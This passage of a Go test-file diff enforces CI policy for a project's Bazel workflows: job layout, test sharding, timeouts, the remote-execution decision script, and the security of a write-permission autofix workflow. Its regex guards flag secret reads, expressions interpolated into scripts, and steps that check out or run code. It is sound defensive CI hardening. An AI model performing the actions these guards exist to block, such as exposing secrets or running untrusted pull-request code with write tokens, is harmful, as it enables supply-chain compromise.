bazelRuleBlock(doltBuild, "dolt_server_full_test") + for _, w := range []string{`"$(rootpath :dolt_race_off)",`, `"BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath :dolt_race_off)"`, `"//:go.mod",`} { + if !strings.Contains(full, w) { + t.Errorf("dolt:dolt_server_full_test lacks %q (SubprocessRunner reuses the test binary; ModuleRoot needs go.mod):\n%s", w, full) + } + } + proxied := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") + for _, w := range []string{`"$(rootpath :bd_test)",`, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)"`} { + if !strings.Contains(proxied, w) { + t.Errorf("cmd/bd:bd_proxied_test lacks %q (race bd_test, non-race subprocess bd, like the jobs):\n%s", w, proxied) + } + } + for pkg, build := range map[string]string{"cmd/bd": readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "internal/storage/dolt": doltBuild} { + for _, err := range checkDoltServerRules(pkg, build) { + t.Error(err) + } + } + } + + // Each tier is a remote-only job of its own (the job if is pinned by + // TestBazelWorkflowJobsAndExecutionMode via bazelRemoteOnlyJobs, and + // pr.yml's gate requires it: bazelLaneGateIDs): not a step of + // bazel-doltserver (which also runs locally, and whose job a gate may + // require) or of bazel-integration (which a caller may switch off, + // although the server tier is a PR-time tier). + workflow := readCIWorkflow(t, bazelWorkflowName) + for _, c := range []struct{ job, config, logs string }{ + {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs"}, + {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs"}, + } { + job := workflow.job(t, c.job) + if job.TimeoutMinutes == 0 || job.TimeoutMinutes > 30 { + t.Errorf("%s timeout-minutes = %d; it runs remotely only (longest shard ~2-8 min), keep it at most 30", c.job, job.TimeoutMinutes) + } + assertBazelTierStep(t, job, c.job, c.config) + if n := len(job.Steps); n != 6 { + t.Errorf("%s has %d steps, want checkout, setup-bazel, the tier, check_testcases.py, log upload, result recorder", c.job, n) + } + logs := job.step(t, "Upload test logs") + if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { + t.Errorf("%s test-log upload: if=%q name=%q uses=%q", c.job, logs.If, logs.With["name"], logs.Uses) + } + } + for name, j := range workflow.Jobs { + for _, step := range j.Steps { + proxied := strings.Contains(step.Run, "--config=doltserver-proxied") + server := strings.Contains(step.Run, "--config=doltserver-integration") + if (proxied && name != bazelProxiedJobName) || (server && name != bazelServerJobName) { + t.Errorf("%s step %q runs a dolt-server tier outside its own job", name, step.Name) + } + if (name == bazelIntegJobName || name == bazelDoltJobName) && (proxied || server || strings.Contains(step.Run, "doltserver-")) { + t.Errorf("%s step %q runs the proxied or server storage tier; each has its own job", name, step.Name) + } + } + } +} + +// bazel-embedded replaces pr-risk.yml's embedded-Dolt tier: --config=embedded +// runs the embedded variants race like the jobs' binaries, with the jobs' +// parallelism; each shard variant runs its job's shard script with the job's +// shard total, and the conformance variants pass the jobs' exact selectors. +func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelEmbedJobName) + test := job.step(t, "bazel test //... --config=embedded") + if !strings.Contains(test.Run, "bazel test //... --config=embedded") || !strings.Contains(test.Run, "set -o pipefail") { + t.Errorf("embedded step does not run --config=embedded over //...:\n%s", test.Run) + } + if strings.Contains(test.Run, "--config=remote-exec") { + t.Errorf("embedded step selects remote-exec itself; setup-bazel's rc does that only when secrets are present") + } + assertTestStepKeepsExitStatus(t, test) + // A shard with no tests assigned, or a selector that matches nothing, + // exits 0; the job fails on any target or shard whose test.xml lists none. + if !strings.Contains(test.Run, `--build_event_json_file="$RUNNER_TEMP/bazel-bep.json"`) { + t.Errorf("embedded step writes no BEP for the test-count check:\n%s", test.Run) + } + count := job.step(t, "Every target and shard ran tests") + if strings.TrimSpace(count.Run) != `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json"` || + count.If != "${{ always() && steps.test.outcome != 'skipped' }}" || + (count.ContinueOnError != nil && count.ContinueOnError != false) { + t.Errorf("test-count step: if=%q continue-on-error=%v run=%q", count.If, count.ContinueOnError, count.Run) + } + + rc := map[string]bool{} + for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { + rc[strings.TrimSpace(line)] = true + } + for _, want := range []string{ + "test:embedded --@rules_go//go/config:race", + "test:embedded --test_tag_filters=embedded", + // The jobs pass no -parallel: GOMAXPROCS on 4-vCPU ubuntu-latest. + "test:embedded --test_arg=-test.parallel=4", + } { + if !rc[want] { + t.Errorf(".bazelrc lacks %q", want) + } + } + for line := range rc { + if strings.HasPrefix(line, "test:embedded ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP")) { + t.Errorf(".bazelrc %q: the embedded jobs run without -short and BEADS_TEST_SKIP", line) + } + } + + risk := readCIWorkflow(t, "pr-risk.yml") + build := risk.job(t, "build-embedded") + for step, want := range map[string]string{ + "Build embedded bd binary": "go build -tags gms_pure_go -race -o /tmp/bd-embedded-test ./cmd/bd/", + "Build embedded storage test binary": "go test -tags gms_pure_go -race -c -o /tmp/embeddeddolt-test ./internal/storage/embeddeddolt/", + "Build embedded cmd test binary": "go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/", + } { + if got := strings.TrimSpace(build.step(t, step).Run); got != want { + t.Errorf("pr-risk.yml %q = %q, want %q (the race build --config=embedded mirrors)", step, got, want) + } + } + + sharded := []struct { + job, script, pkg, target string + }{ + {"test-embedded-cmd", ".github/scripts/embedded-test-shard.sh", "cmd/bd", "bd_embedded_test"}, + {"test-embedded-storage", ".github/scripts/embedded-storage-test-shard.sh", "internal/storage/embeddeddolt", "embeddeddolt_embedded_test"}, + } + for _, c := range sharded { + j := risk.job(t, c.job) + shards := len(j.Strategy.Matrix.Shard) + step := j.step(t, "Test") + if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { + t.Errorf("pr-risk.yml %s runs %q, want %q", c.job, step.Run, want) + } + if step.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { + t.Errorf("pr-risk.yml %s no longer sets BEADS_TEST_EMBEDDED_DOLT=1; update %s", c.job, c.target) + } + if os.Getenv("TEST_SRCDIR") != "" { + continue // scripts_test's runfiles hold no other package's BUILD + } + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) + for _, want := range []string{ + `srcs = ["//tools/bazel:go_test_manifest_shard.sh"],`, + `"$(rootpath //:` + c.script + `)",`, + "shard_count = " + strconv.Itoa(shards) + ",", + `"BEADS_TEST_EMBEDDED_DOLT": "1"`, + `"embedded"`, + } { + if !strings.Contains(rule, want) { + t.Errorf("%s:%s does not contain %q (pr-risk.yml %s):\n%s", c.pkg, c.target, want, c.job, rule) + } + } + // The script and its manifest must be in the runfiles: without the + // manifest the script silently falls back to hash assignment, so + // every shard still passes but no longer runs its job's tests. + m := shardManifestDefault.FindStringSubmatch(readPolicyFile(t, root, c.script)) + if m == nil { + t.Fatalf("%s has no ${BEADS_TEST_SHARD_MANIFEST:-...} default manifest", c.script) + } + data := bazelAttrBlock(rule, "data") + for _, file := range []string{c.script, m[1]} { + if !strings.Contains(data, `"//:`+file+`",`) { + t.Errorf("%s:%s data lacks //:%s:\n%s", c.pkg, c.target, file, data) + } + } + } + if os.Getenv("TEST_SRCDIR") == "" { + // The cmd jobs' subprocess bd is the race build, as //cmd/bd:bd is + // under --config=embedded (bd_for_tests never is). + rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "cmd/bd/BUILD.bazel"), "bd_embedded_test") + if !strings.Contains(rule, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)"`) { + t.Errorf("cmd/bd:bd_embedded_test must run the race //cmd/bd:bd as BEADS_TEST_BD_BINARY:\n%s", rule) + } + // The script's -test.timeout=20m equals Bazel's 1200s action limit, + // which kills without a goroutine dump; 19m lets Go's fire first. + if !strings.Contains(bazelAttrBlock(rule, "args"), `"-test.timeout=19m",`) { + t.Errorf("cmd/bd:bd_embedded_test must pass -test.timeout=19m after the script's own:\n%s", rule) + } + } + + conformance := risk.job(t, "test-embedded-conformance") + if conformance.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { + t.Error("pr-risk.yml test-embedded-conformance no longer sets BEADS_TEST_EMBEDDED_DOLT=1") + } + quoted := regexp.MustCompile(`(-test\.[a-z]+) '([^']*)'|(-test\.[a-z]+=\S+|-test\.v)`) + for partition, target := range map[string]string{"core": "embeddeddolt_conformance_core_test", "audit": "embeddeddolt_conformance_audit_test"} { + run := conformance.step(t, "Test "+partition+" conformance").Run + fields := strings.Fields(run) + if len(fields) == 0 || fields[0] != "/tmp/embeddeddolt-test" { + t.Fatalf("pr-risk.yml %s conformance no longer runs /tmp/embeddeddolt-test: %q", partition, run) + } + var want []string + for _, m := range quoted.FindAllStringSubmatch(run, -1) { + switch { + case m[1] != "": + want = append(want, `"`+m[1]+"="+strings.ReplaceAll(m[2], "$", "$$")+`",`) + case strings.HasPrefix(m[3], "-test.timeout="): + // Documented deviation: Bazel kills at 1200s without a + // goroutine dump, so the variant's Go timeout is 19m. + if m[3] != "-test.timeout=30m" { + t.Errorf("pr-risk.yml %s conformance timeout is now %q; revisit the variant's -test.timeout=19m", partition, m[3]) + } + want = append(want, `"-test.timeout=19m",`) + default: + want = append(want, `"`+m[3]+`",`) + } + } + if len(want) < 4 { + t.Fatalf("parsed only %v from pr-risk.yml %s conformance %q", want, partition, run) + } + if os.Getenv("TEST_SRCDIR") != "" { + continue + } + rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "internal/storage/embeddeddolt/BUILD.bazel"), target) + for _, w := range append(want, `"BEADS_TEST_EMBEDDED_DOLT": "1"`, `"embedded"`) { + if !strings.Contains(rule, w) { + t.Errorf("embeddeddolt:%s does not contain %q (pr-risk.yml %s conformance):\n%s", target, w, partition, rule) + } + } + } +} + +// bazel-pure replaces pr.yml's check-cmd-bd-puregeo-tests job: the same pure +// cmd/bd test selector, the same pure build set, and the js/wasm hook test +// under the same exact-count guard. +func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { + pr := readCIWorkflow(t, "pr.yml").job(t, "check-cmd-bd-puregeo-tests") + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelPureJobName) + + prSubset := pr.step(t, "Run pure-Go cmd/bd test subset (CGO_ENABLED=0)").Run + m := regexp.MustCompile(`-run '([^']+)' \./cmd/bd`).FindStringSubmatch(prSubset) + if m == nil { + t.Fatalf("cannot find the -run selector in pr.yml's pure subset step:\n%s", prSubset) + } + if job.Env["PURE_CMD_BD_TESTS"] != m[1] || !strings.Contains(prSubset, "-short") { + t.Errorf("%s PURE_CMD_BD_TESTS = %q, want pr.yml's -short -run selector %q", bazelPureJobName, job.Env["PURE_CMD_BD_TESTS"], m[1]) + } + run := job.step(t, "Run pure-Go cmd/bd test subset (--config=pure)").Run + for _, required := range []string{"bazel test --config=pure //cmd/bd:bd_test", `"--test_arg=-test.run=$PURE_CMD_BD_TESTS"`, "(( n > 0 ))"} { + if !strings.Contains(run, required) { + t.Errorf("pure subset step does not contain %q:\n%s", required, run) + } + } + if !strings.Contains(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "test:pure --test_arg=-test.short") { + t.Error(".bazelrc test:pure does not pass -test.short like the pr.yml subset") + } + + build := job.step(t, "Build cmd/bd and pure-Go test binaries (--config=pure)").Run + prBuild := pr.step(t, "Build cmd/bd (CGO_ENABLED=0, gms_pure_go)").Run + pr.step(t, "Compile pure-Go test binaries (CGO_ENABLED=0, gms_pure_go)").Run + for pkg, target := range map[string]string{ + "go build -tags gms_pure_go -o /tmp/bd-puregeo ./cmd/bd": "//cmd/bd:bd", + "-o /tmp/bd-cmd-puregeo-test ./cmd/bd": "//cmd/bd:bd_test", + "-o /tmp/bd-embeddeddolt-puregeo-test ./internal/storage/embeddeddolt": "//internal/storage/embeddeddolt:embeddeddolt_test", + "-o /tmp/bd-tracker-puregeo-test ./internal/tracker": "//internal/tracker:tracker_test", + } { + if !strings.Contains(prBuild, pkg) { + t.Errorf("pr.yml pure build steps no longer contain %q; update %s to match", pkg, bazelPureJobName) + } + if !strings.Contains(build, target) || !strings.Contains(build, "bazel build --config=pure") { + t.Errorf("pure build step does not build %s:\n%s", target, build) + } + } + + // `go build` rejects a pure binary that imports gozstd at compile time; + // Bazel compiles gozstd's stubs, whose init panics, so the lane must start + // every pure artifact (bd_test starts in the subset step above). + start := job.step(t, "Start every pure-Go artifact (gozstd contamination check)").Run + for _, required := range []string{ + "set -euo pipefail", + "bazel run --config=pure //cmd/bd:bd -- version", + "bazel test --config=pure", + "//internal/storage/embeddeddolt:embeddeddolt_test", + "//internal/tracker:tracker_test", + "'--test_arg=-test.run=^$'", + } { + if !strings.Contains(start, required) { + t.Errorf("pure artifact start step does not contain %q:\n%s", required, start) + } + } + if os.Getenv("TEST_SRCDIR") == "" { + patch := readPolicyFile(t, sourceRepoRoot(t), "third_party/patches/gozstd_nocgo.patch") + if !strings.Contains(patch, "+func init() { panic(") { + t.Error("gozstd_nocgo.patch stubs no longer panic in init; a contaminated pure binary would start") + } + } + + prWasm := pr.step(t, "Run js/wasm hook boundary").Run + wasm := job.step(t, "Run js/wasm hook boundary").Run + for _, required := range []string{"bazel build --config=js-wasm //internal/hooks:hooks_test", "go_js_wasm_exec"} { + if !strings.Contains(wasm, required) { + t.Errorf("js/wasm step does not contain %q:\n%s", required, wasm) + } + } + // The selector and everything from the count guard on are pr.yml's. + const selector = "run '^TestRunHookReportsUnsupportedExecution$'" + if !strings.Contains(prWasm, " -"+selector) || !strings.Contains(wasm, " -test."+selector) { + t.Errorf("js/wasm selector drifted from pr.yml's %q", selector) + } + guard := func(script string) string { + i := strings.Index(script, "run_count=0") + if i < 0 { + return "" + } + return script[i:] + } + if guard(wasm) == "" || guard(wasm) != guard(prWasm) { + t.Errorf("js/wasm count guard differs from pr.yml's:\n--- pr.yml\n%s\n--- %s\n%s", guard(prWasm), bazelPureJobName, guard(wasm)) + } +} + // swallowedExit matches shell that hides a failing command's status. var swallowedExit = regexp.MustCompile(`\bexit\b|\|\|\s*(true|:)|;\s*(true|:)\s*$|\bset\s+\+e\b|\btrap\b`) @@ -1787,18 +3475,25 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { } setupSteps := map[string]bool{} - for i, step := range readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName).Steps { - if step.Uses == "./"+setupBazelActionDir { - setupSteps[fmt.Sprintf(".jobs.%s.steps[%d].env.", bazelJobName, i)] = true + for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + if name == bazelRBEJobName { + continue // no setup-bazel; its one secret read is pinned below + } + n := 0 + for i, step := range job.Steps { + if step.Uses == "./"+setupBazelActionDir { + setupSteps[fmt.Sprintf(".jobs.%s.steps[%d].env.", name, i)] = true + n++ + } + } + if n != 1 { + t.Errorf("%s job %s has %d setup-bazel steps, want 1", bazelWorkflowName, name, n) } - } - if len(setupSteps) != 1 { - t.Errorf("%s has %d setup-bazel steps, want 1", bazelWorkflowName, len(setupSteps)) } secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) walkYAML(root, "", func(path string, key bool, value string) { if key && value == "continue-on-error" { - t.Errorf("%s: %s hides failures; the lane is advisory by staying out of ci-gate", bazelWorkflowName, path) + t.Errorf("%s: %s hides failures from pr.yml's ci-gate", bazelWorkflowName, path) } if key && (value == "secrets" && strings.HasPrefix(path, ".jobs.")) { t.Errorf("%s: %s passes secrets to a called workflow or container", bazelWorkflowName, path) @@ -1806,6 +3501,9 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { if key || !secretRef.MatchString(value) { return } + if path == bazelRBESecretPath && value == bazelRBESecretValue { + return // the rbe job's emptiness test (TestBazelRBEJobDecidesOnce) + } prefix := path[:strings.LastIndex(path, ".")+1] if !setupSteps[prefix] { t.Errorf("%s: %s reads secrets (%q); only the setup-bazel step's env may", bazelWorkflowName, path, value) @@ -1823,6 +3521,148 @@ func TestBazelWorkflowSecretsAndFailureSurface(t *testing.T) { }) } +// The execution mode (remote, local, skip) is decided once, by the rbe job, +// so a run cannot mix modes and no lane can drift from the others (review D1 +// F1/F5/F6): Dependabot PRs are same-repo but get no secrets, so a condition +// on vars and fork alone sent them to the remote-only path with nothing to +// run it. The job's one step reads nothing but four booleans, runs no +// repository code, and its outputs are the workflow_call outputs. +func TestBazelRBEJobDecidesOnce(t *testing.T) { + workflow := readCIWorkflow(t, bazelWorkflowName) + job := workflow.job(t, bazelRBEJobName) + if len(job.Needs) != 0 || job.If != "" || job.RunsOn != "ubuntu-latest" || len(job.Env) != 0 { + t.Errorf("%s: needs %v, if %q, runs-on %q, env %v; want no needs, if or env, on ubuntu-latest", + bazelRBEJobName, job.Needs, job.If, job.RunsOn, job.Env) + } + wantOutputs := map[string]string{ + "enabled": "${{ steps.decide.outputs.enabled }}", + "mode": "${{ steps.decide.outputs.mode }}", + } + if !reflect.DeepEqual(job.Outputs, wantOutputs) { + t.Errorf("%s outputs = %v, want %v", bazelRBEJobName, job.Outputs, wantOutputs) + } + if len(job.Steps) != 1 { + t.Fatalf("%s has %d steps, want exactly the decision step", bazelRBEJobName, len(job.Steps)) + } + step := job.Steps[0] + wantEnv := map[string]string{ + "RBE_VAR_ON": "${{ vars.RBE_WEST_WORKERS == 'true' }}", + "RBE_INPUT_OFF": "${{ inputs.rbe == 'off' }}", + "FORK": "${{ github.event.pull_request.head.repo.fork == true }}", + "HAS_EXECUTOR": bazelRBESecretValue, + } + if step.ID != "decide" || step.Uses != "" || step.Shell != "" || len(step.With) != 0 || !reflect.DeepEqual(step.Env, wantEnv) { + t.Errorf("%s step: id %q, uses %q, shell %q, with %v, env %v; want id decide, a run step with env %v", + bazelRBEJobName, step.ID, step.Uses, step.Shell, step.With, step.Env, wantEnv) + } + + // The workflow_call outputs are the rbe job's, for a caller's gate. + var doc struct { + On struct { + WorkflowCall struct { + Outputs map[string]struct { + Value string `yaml:"value"` + } `yaml:"outputs"` + } `yaml:"workflow_call"` + } `yaml:"on"` + } + if err := yaml.Unmarshal([]byte(readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelWorkflowName)), &doc); err != nil { + t.Fatal(err) + } + // (The lanes' result outputs: TestBazelLaneIsGatedAlongsideLegacy.) + for name, want := range map[string]string{ + "rbe-enabled": "${{ jobs.rbe.outputs.enabled }}", + "rbe-mode": "${{ jobs.rbe.outputs.mode }}", + } { + if got := doc.On.WorkflowCall.Outputs[name].Value; got != want { + t.Errorf("workflow_call output %s = %q, want %q", name, got, want) + } + } + + // Nothing outside the decision step re-derives the condition. + rederive := regexp.MustCompile(`(?i)vars\.RBE_WEST_WORKERS|inputs\.rbe\b|head\.repo\.fork|github\.actor|dependabot`) + walkYAML(readYAMLNode(t, filepath.Join(".github", "workflows", bazelWorkflowName)), "", func(path string, key bool, value string) { + if key || !rederive.MatchString(value) || strings.HasPrefix(path, ".jobs."+bazelRBEJobName+".steps[0].env.") { + return + } + t.Errorf("%s: %s re-derives the execution mode (%q); read needs.rbe.outputs instead", bazelWorkflowName, path, value) + }) + + // The decision, for the facts GitHub evaluates the four env expressions + // on (its == is case-insensitive; a missing secret reads as ''). + type facts struct { + rbeVar, rbeInput, secret string + fork bool + } + cases := []struct { + name string + in facts + mode, enabled string + }{ + {"same-repo PR with secrets", facts{"true", "", "grpcs://x", false}, "remote", "true"}, + {"push to main", facts{"true", "", "grpcs://x", false}, "remote", "true"}, + {"var in other case", facts{"True", "on", "grpcs://x", false}, "remote", "true"}, + {"Dependabot PR (no secrets)", facts{"true", "", "", false}, "local", "false"}, + {"fork PR", facts{"true", "", "", true}, "local", "false"}, + {"fork PR, var unset", facts{"", "", "", true}, "local", "false"}, + {"dispatch rbe=off", facts{"true", "off", "grpcs://x", false}, "local", "false"}, + {"call rbe=OFF", facts{"true", "OFF", "grpcs://x", false}, "local", "false"}, + {"same-repo, var unset", facts{"", "", "grpcs://x", false}, "skip", "false"}, + {"Dependabot, var unset", facts{"", "", "", false}, "skip", "false"}, + {"var false", facts{"false", "on", "grpcs://x", false}, "skip", "false"}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + env := map[string]string{ + "RBE_VAR_ON": strconv.FormatBool(strings.EqualFold(c.in.rbeVar, "true")), + "RBE_INPUT_OFF": strconv.FormatBool(strings.EqualFold(c.in.rbeInput, "off")), + "FORK": strconv.FormatBool(c.in.fork), + "HAS_EXECUTOR": strconv.FormatBool(c.in.secret != ""), + } + out, err := runBazelRBEDecision(t, step.Run, env) + if err != nil { + t.Fatal(err) + } + want := map[string]string{"mode": c.mode, "enabled": c.enabled} + if !reflect.DeepEqual(out, want) { + t.Errorf("outputs = %v, want %v", out, want) + } + }) + } + // A value that is not a boolean fails the job rather than picking a mode. + if out, err := runBazelRBEDecision(t, step.Run, map[string]string{ + "RBE_VAR_ON": "true", "RBE_INPUT_OFF": "false", "FORK": "", "HAS_EXECUTOR": "true", + }); err == nil { + t.Errorf("decision with FORK='' succeeded with %v; want failure", out) + } +} + +// runBazelRBEDecision runs the rbe job's step script under bash -e (as +// GitHub's default shell) and returns its $GITHUB_OUTPUT. +func runBazelRBEDecision(t *testing.T, script string, env map[string]string) (map[string]string, error) { + t.Helper() + dir := t.TempDir() + output := filepath.Join(dir, "output") + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script) + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "GITHUB_OUTPUT=" + output, "GITHUB_STEP_SUMMARY=" + filepath.Join(dir, "summary")} + for k, v := range env { + cmd.Env = append(cmd.Env, k+"="+v) + } + if b, err := cmd.CombinedOutput(); err != nil { + return nil, fmt.Errorf("%v: %s", err, b) + } + data, err := os.ReadFile(output) + if err != nil { + return nil, err + } + out := map[string]string{} + for _, line := range strings.Split(strings.TrimSpace(string(data)), "\n") { + k, v, _ := strings.Cut(line, "=") + out[k] = v + } + return out, nil +} + // write-bazelrc.sh: no secrets means a local-only rc (fork PRs), a partial set // fails, and the full set enables remote-exec with the key material and rc // outside the workspace and the runner cache. @@ -1935,3 +3775,387 @@ func TestSetupBazelRCWriter(t *testing.T) { } }) } + +const ( + bazelAutofixWorkflowName = "bazel-autofix.yml" + bazelAutofixPushScript = "scripts/bazel-autofix-push.sh" + bazelSyncPatchScript = "scripts/ci/bazel-sync-patch.sh" + bazelSyncStepName = "BUILD files in sync (gazelle, go_srcs, MODULE.bazel)" +) + +// bazel.yml's sync step stays red on drift but leaves the allowlisted part of +// the fix as the bazel-sync-patch artifact, from PR-head code that sees no +// secrets; bazel-autofix.yml is the only consumer. +func TestBazelSyncStepPublishesPatch(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) + sync := job.step(t, bazelSyncStepName) + if sync.ID != "sync" { + t.Errorf("sync step id = %q, want sync", sync.ID) + } + patchCmd := "./" + bazelSyncPatchScript + ` "$RUNNER_TEMP/bazel-sync-patch"` + for _, required := range []string{"make bazel-sync-check || check=$?", patchCmd, "exit 1", `exit "$check"`} { + if !strings.Contains(sync.Run, required) { + t.Errorf("sync step does not contain %q:\n%s", required, sync.Run) + } + } + if i, j := strings.Index(sync.Run, patchCmd), strings.Index(sync.Run, "exit 1"); j < i { + t.Errorf("sync step must write the patch before failing") + } + for key, value := range sync.Env { + if strings.Contains(value, "secrets") { + t.Errorf("sync step env %s reads secrets; it runs PR-head code", key) + } + } + upload := job.step(t, "Upload BUILD sync patch") + if upload.If != "${{ always() && steps.sync.outcome == 'failure' }}" { + t.Errorf("patch upload if = %q; want it gated on the sync step's failure", upload.If) + } + if upload.With["name"] != "bazel-sync-patch" || upload.With["path"] != "${{ runner.temp }}/bazel-sync-patch/" || + upload.With["if-no-files-found"] != "ignore" { + t.Errorf("patch upload with = %v", upload.With) + } + if job.stepIndex(t, "Upload BUILD sync patch") != job.stepIndex(t, bazelSyncStepName)+1 { + t.Errorf("patch upload must directly follow the sync step") + } +} + +// bazel-autofix.yml runs with write permissions via workflow_run, so it must +// never check out or execute PR code: the base branch's checkout, one trusted +// script, the artifact as data, no expressions in run bodies, and the push +// token visible only to the push step. +func TestBazelAutofixWorkflowSecurity(t *testing.T) { + rel := filepath.Join(".github", "workflows", bazelAutofixWorkflowName) + root := readYAMLNode(t, rel) + + if got := yamlMapKeys(root, "on"); !reflect.DeepEqual(got, []string{"workflow_run"}) { + t.Errorf("triggers = %v, want exactly [workflow_run] (never pull_request_target)", got) + } + var doc struct { + On struct { + WorkflowRun struct { + Workflows []string `yaml:"workflows"` + Types []string `yaml:"types"` + } `yaml:"workflow_run"` + } `yaml:"on"` + Permissions map[string]string `yaml:"permissions"` + } + if err := root.Decode(&doc); err != nil { + t.Fatal(err) + } + // Only "PR" (pr.yml, whose bazel job calls bazel.yml) uploads + // bazel-sync-patch in a pull_request run: bazel.yml has no pull_request + // trigger of its own, so a "Bazel" run is never a PR event. Any other + // trigger would only ever be a no-op run (and, with a shared concurrency + // group, could get in a real fix's way). + if want := []string{"PR"}; !reflect.DeepEqual(doc.On.WorkflowRun.Workflows, want) { + t.Errorf("workflow_run.workflows = %v, want %v", doc.On.WorkflowRun.Workflows, want) + } + requireWorkflowProducesArtifact(t, "pr.yml", "PR", "bazel-sync-patch") + if slices.Contains(yamlMapKeys(readYAMLNode(t, filepath.Join(".github", "workflows", bazelWorkflowName)), "on"), "pull_request") { + t.Errorf("%s has its own pull_request trigger; its PR runs would upload bazel-sync-patch outside the \"PR\" run this workflow watches", bazelWorkflowName) + } + if !reflect.DeepEqual(doc.On.WorkflowRun.Types, []string{"completed"}) { + t.Errorf("workflow_run.types = %v, want [completed]", doc.On.WorkflowRun.Types) + } + wantPerms := map[string]string{"contents": "write", "pull-requests": "write", "actions": "read"} + if !reflect.DeepEqual(doc.Permissions, wantPerms) { + t.Errorf("permissions = %v, want exactly %v", doc.Permissions, wantPerms) + } + + workflow := readCIWorkflow(t, bazelAutofixWorkflowName) + if len(workflow.Jobs) != 1 { + t.Fatalf("%s has %d jobs, want 1", bazelAutofixWorkflowName, len(workflow.Jobs)) + } + job := workflow.job(t, "autofix") + for _, cond := range []string{"github.event.workflow_run.event == 'pull_request'", "github.event.workflow_run.conclusion == 'failure'"} { + if !strings.Contains(job.If, cond) { + t.Errorf("job if = %q lacks %q", job.If, cond) + } + } + if job.TimeoutMinutes == 0 { + t.Error("autofix job has no timeout-minutes") + } + + var checkouts int + for _, step := range job.Steps { + if step.Uses != "" { + family, sha, _ := strings.Cut(step.Uses, "@") + if family != "actions/checkout" || sha != checkoutSHA { + t.Errorf("step %q uses %q; only actions/checkout@%s is allowed", step.Name, step.Uses, checkoutSHA) + } + if !reflect.DeepEqual(step.With, map[string]string{"persist-credentials": "false"}) { + t.Errorf("checkout has with %v; want only persist-credentials: false (base default branch, never a PR ref, no token on disk)", step.With) + } + checkouts++ + } + // Event fields (branch names, commit messages) are attacker text: + // pass them through env, never interpolate them into a script. + if strings.Contains(step.Run, "${{") { + t.Errorf("step %q interpolates an expression into run", step.Name) + } + if regexp.MustCompile(`\bgit\s+(checkout|fetch|clone|worktree)\b|\bgh\s+pr\s+checkout\b|\bmake\b|\bgo\s+(run|build|test)\b`).MatchString(step.Run) { + t.Errorf("step %q fetches or runs code in the workflow itself:\n%s", step.Name, step.Run) + } + } + if checkouts != 1 { + t.Errorf("want exactly one checkout step, got %d", checkouts) + } + push := job.step(t, "Push sync commit or leave apply recipe") + if strings.TrimSpace(push.Run) != "./"+bazelAutofixPushScript { + t.Errorf("push step run = %q, want ./%s", push.Run, bazelAutofixPushScript) + } + download := job.step(t, "Download BUILD sync patch (if any)") + if !strings.Contains(download.Run, `select(.name == "bazel-sync-patch")`) || + !strings.Contains(download.Run, "bazel-sync.patch bazel-sync-meta.txt -d") { + t.Errorf("download step must fetch bazel-sync-patch and extract only its two files:\n%s", download.Run) + } + for key, want := range map[string]string{ + "HEAD_REPO": "${{ github.event.workflow_run.head_repository.full_name }}", + "HEAD_BRANCH": "${{ github.event.workflow_run.head_branch }}", + "HEAD_SHA": "${{ github.event.workflow_run.head_sha }}", + "GH_TOKEN": "${{ github.token }}", + "PUSH_TOKEN": "${{ secrets.DOCS_AUTOFIX_TOKEN || github.token }}", + "AUTOFIX_TOKEN_KIND": "${{ secrets.DOCS_AUTOFIX_TOKEN && 'pat' || 'default' }}", + } { + if got := push.Env[key]; got != want { + t.Errorf("push step env %s = %q, want %q", key, got, want) + } + } + + // Secrets: only the push step's PUSH_TOKEN / AUTOFIX_TOKEN_KIND, and only + // the docs autofix token that this workflow shares. + pushIndex := job.stepIndex(t, push.Name) + secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) + allowed := map[string]bool{ + fmt.Sprintf(".jobs.autofix.steps[%d].env.PUSH_TOKEN", pushIndex): true, + fmt.Sprintf(".jobs.autofix.steps[%d].env.AUTOFIX_TOKEN_KIND", pushIndex): true, + } + walkYAML(root, "", func(path string, key bool, value string) { + if key || !secretRef.MatchString(value) { + return + } + if !allowed[path] { + t.Errorf("%s: %s reads secrets (%q)", bazelAutofixWorkflowName, path, value) + } + if refs := regexp.MustCompile(`secrets\.([A-Za-z0-9_]+)`).FindAllStringSubmatch(value, -1); len(refs) == 0 { + t.Errorf("%s: %s uses a non-literal secrets reference", bazelAutofixWorkflowName, path) + } else { + for _, ref 